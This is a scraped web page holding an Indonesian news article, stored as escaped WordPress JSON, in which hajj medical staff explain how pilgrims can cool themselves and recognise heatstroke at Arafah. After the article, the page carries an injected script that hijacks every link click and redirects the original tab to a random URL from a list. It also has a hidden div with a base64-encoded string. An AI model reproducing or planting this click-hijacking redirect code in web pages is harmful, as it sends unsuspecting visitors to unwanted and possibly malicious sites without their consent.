<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>{"id":1510677,"date":"2026-05-25T18:58:21","date_gmt":"2026-05-25T11:58:21","guid":{"rendered":"https:\/\/beritajatim.com\/?p=1510677"},"modified":"2026-05-25T18:58:21","modified_gmt":"2026-05-25T11:58:21","slug":"simak-trik-dinginkan-tubuh-mandiri-bagi-jemaah-haji-antisipasi-cuaca-panas-ekstrem-di-arafah","status":"publish","type":"post","link":"https:\/\/beritajatim.com\/simak-trik-dinginkan-tubuh-mandiri-bagi-jemaah-haji-antisipasi-cuaca-panas-ekstrem-di-arafah","title":{"rendered":"Simak Trik Dinginkan Tubuh Mandiri bagi Jemaah Haji, Antisipasi Cuaca Panas Ekstrem di Arafah"},"content":{"rendered":"</p><h4>RINGKASAN BERITA:&lt;\/h4&gt;\n<ul>\n<li>Kompres dingin pada area pembuluh darah besar seperti leher, ketiak, dan lipatan paha lebih efektif menurunkan suhu inti tubuh daripada di dahi.&lt;\/li&gt;\n</li><li>Kombinasi teknik menyemprotkan air tipis-tipis dan penggunaan kipas angin portable mampu membuang panas tubuh secara instan.&lt;\/li&gt;\n</li><li>Kulit yang terasa sangat panas dan kering tanpa mengeluarkan keringat menjadi sinyal darurat terjadinya serangan heatstroke.&lt;\/li&gt;\n&lt;\/ul&gt;\n<hr>\n<p><strong>Makkah (beritajatim.com) \u2013&lt;\/strong&gt; Jemaah haji Indonesia yang mulai bergerak menuju Padang Arafah wajib mengantisipasi lonjakan suhu udara ekstrem yang diperkirakan berpotensi memicu kegawatdaruratan medis.&lt;\/p&gt;\n<p>Jika tidak ditangani secara cepat dan tepat, paparan cuaca menyengat tersebut dapat memicu gangguan kesehatan serius, mulai dari dehidrasi, kelelahan panas (heat exhaustion), hingga serangan sengatan panas (heatstroke) yang mengancam jiwa.&lt;\/p&gt;\n</p><p>Guna memitigasi risiko tersebut, tim medis operasional haji membagikan sejumlah panduan taktis yang bisa diterapkan oleh jemaah di dalam tenda maktab.&lt;\/p&gt;\n</p><p>Upaya mandiri dalam mengondisikan suhu tubuh dinilai menjadi benteng pertahanan pertama yang paling rasional di tengah keterbatasan ruang sirkulasi lapangan.&lt;\/p&gt;\n</p><p>&ldquo;Jemaah perlu mengetahui upaya mandiri mendinginkan tubuh agar tidak terkena kelelahan panas (heat exhaustion) atau sengatan panas (heat stroke),&rdquo; ujar dr. Muhammad Fathi Banna Al Faruqi dari PPIH Daker Bandara kepada Tim Media Center Haji (MCH) di Makkah.&lt;\/p&gt;\n</p><p>Wartawan beritajatim.com, Muhammad Isnan yang tergabung dalam Media Center Haji (MCH) Kemenhaj RI melaporkan dari Arab Saudi, embusan angin kering siang ini kian mempertegas pentingnya edukasi klinis bagi jemaah lansia.&lt;\/p&gt;\n</p><p>Petugas kesehatan di tiap sektor kini gencar memperagakan taktik membuang panas tubuh secara cepat dan efektif menggunakan media air serta handuk kecil.&lt;\/p&gt;\n</p><p>Langkah pertama yang paling krusial adalah ketepatan dalam meletakkan kompres air. Berbeda dengan kebiasaan umum di tanah air yang kerap menempelkan kain basah di atas dahi, tim medis menyarankan penempatan kompres pada titik-titik anatomis yang dialiri pembuluh darah besar.&lt;\/p&gt;\n</p><p>&ldquo;Jika merasa gerah menyengat, jangan hanya mengompres dahi. Basahi handuk kecil atau kain, lalu tempelkan pada area pembuluh darah besar yang dekat dengan permukaan kulit, yaitu leher belakang\/samping, ketiak, dan lipatan paha,&rdquo; kata dr. Fathi menjelaskan.&lt;\/p&gt;\n</p><p>Melalui metode pendinginan pada area-area strategis tersebut, suhu sel darah yang mengalir akan turun lebih cepat. Darah yang mendingin ini kemudian bersirkulasi ke seluruh jaringan tubuh, sehingga mampu mendistribusikan rasa sejuk secara instan dan menurunkan suhu inti (core body temperature) jemaah.&lt;\/p&gt;\n</p><p>Langkah berikutnya adalah memaksimalkan teknik semprot dan kipas (spray and fan). Jemaah haji disarankan untuk selalu mengantongi botol semprot kecil berisi air steril di dalam tas paspor mereka sebagai senjata utama penghalau hawa panas.&lt;\/p&gt;\n</p><p>&ldquo;Sediakan botol semprot kecil berisi air di dalam tas. Semprotkan air tipis-tipis ke wajah, lengan, dan leher, lalu kipas secara manual atau menggunakan kipas angin portable. Efektif membuang panas tubuh secara instan, sepertu mekanisme pengeluaran keringat,&rdquo; ungkapnya.&lt;\/p&gt;\n</p><p>Faktor pemilihan bahan dan potongan pakaian juga memegang peranan penting dalam sirkulasi pembuangan panas bumi. Khusus bagi jemaah wanita, serta jemaah pria yang nantinya sudah menyelesaikan tahalul awal dan diperbolehkan melepas kain ihram di Mina, penyesuaian busana harus segera dilakukan.&lt;\/p&gt;\n</p><p>Jemaah diminta memilih pakaian berbahan katun tipis yang longgar dan berwarna cerah demi memantulkan radiasi sinar matahari. &ldquo;Hindari pakaian ketat, berwarna gelap atau berlapis-lapis yang dapat memerangkap panas tubuh di dalam baju,&rdquo; imbuh dr. Fathi.&lt;\/p&gt;\n</p><p>Pada bagian akhir, tim medis Kemenhaj meminta jemaah, khususnya kalangan Gen Z yang mendampingi orang tua mereka, untuk peka mengenali sinyal bahaya yang dikirimkan oleh tubuh. Deteksi dini terhadap gejala klinis awal menjadi pemisah antara penanganan ringan dan kondisi kritis.&lt;\/p&gt;\n</p><p>&ldquo;Segera cari petugas kesehatan jika jemaah mulai mengalami gejala mulai dari kram otot, pusing berputar, mual, jantung berdebar cepat, atau keringat keluar sangat deras. Jika kulit justru terasa sangat panas dan kering tapi tidak bisa keluar keringat lagi, maka adalah tanda darurat terjadi heat stroke,&rdquo; paparnya secara detail.&lt;\/p&gt;\n</p><p>Langkah pengondisian suhu tubuh yang stabil sepanjang fase Armuzna ini mutlak diperlukan guna mencegah terjadinya kerusakan organ dalam akibat sengatan panas ekstrem. Petugas mengimbau agar spirit saling peduli antarjemaah di dalam satu rombongan kloter terus dihidupkan agar jika ada yang mulai drop dapat langsung dievakuasi ke pos kesehatan darurat. <strong>[ian\/MCH]&lt;\/strong&gt;&lt;\/p&gt;\n","protected":false},"excerpt":{"rendered":"<p>Tim medis PPIH membagikan trik mendinginkan tubuh secara mandiri bagi jemaah haji guna mencegah risiko kelelahan akut hingga serangan heatstroke di Arafah.&lt;\/p&gt;\n","protected":false},"author":70,"featured_media":1510678,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[1],"tags":[1106,306619,364854,144552,425732],"gn_keywords":[428117,428119,428121,428120,428118],"class_list":["post-1510677","post","type-post","status-publish","format-standard","has-post-thumbnail","category-peristiwa","tag-haji","tag-haji-2026","tag-kemenhaj","tag-kesehatan-haji","tag-puncak-armuzna"],"acf":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1510677","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/users\/70"}],"replies":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/comments?post=1510677"}],"version-history":[{"count":0,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1510677\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media\/1510678"}],"wp:attachment":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media?parent=1510677"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/categories?post=1510677"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/tags?post=1510677"},{"taxonomy":"gn_keywords","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/gn_keywords?post=1510677"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}</p></strong></p></strong></p></li></ul></h4><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
